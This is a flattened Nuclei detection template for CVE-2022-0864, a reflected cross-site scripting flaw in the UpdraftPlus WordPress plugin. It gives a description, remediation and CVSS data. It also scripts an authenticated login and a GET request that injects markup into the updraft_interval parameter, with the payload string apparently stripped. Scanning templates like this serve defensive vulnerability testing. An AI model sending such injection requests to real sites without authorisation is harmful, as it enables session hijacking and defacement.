id: CVE-2022-0864 info: name: UpdraftPlus < 1.22.9 - Cross-Site Scripting author: DhiyaneshDk severity: medium description: | The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. remediation: | Update UpdraftPlus plugin to version 1.22.9 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864 - https://wordpress.org/plugins/updraftplus classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0864 cwe-id: CWE-79 epss-score: 0.00242 epss-percentile: 0.62097 cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: 'updraftplus' product: 'updraftplus' framework: wordpress tags: cve,cve2022,xss,authenticated,updraftplus,wpscan,wp-plugin,wp,wordpress,'updraftplus' http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"> HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - "" - "Existing backups" condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100af884612296f9e14e8d3f735b8e67352166431fd3b29ddfd069b38a8cf7e3894022100df7930768eb5cb14dc119636eb45c22439303e5830a34f27b30de2e6ef985f34:922c64590222798bb761d5b6d8e72950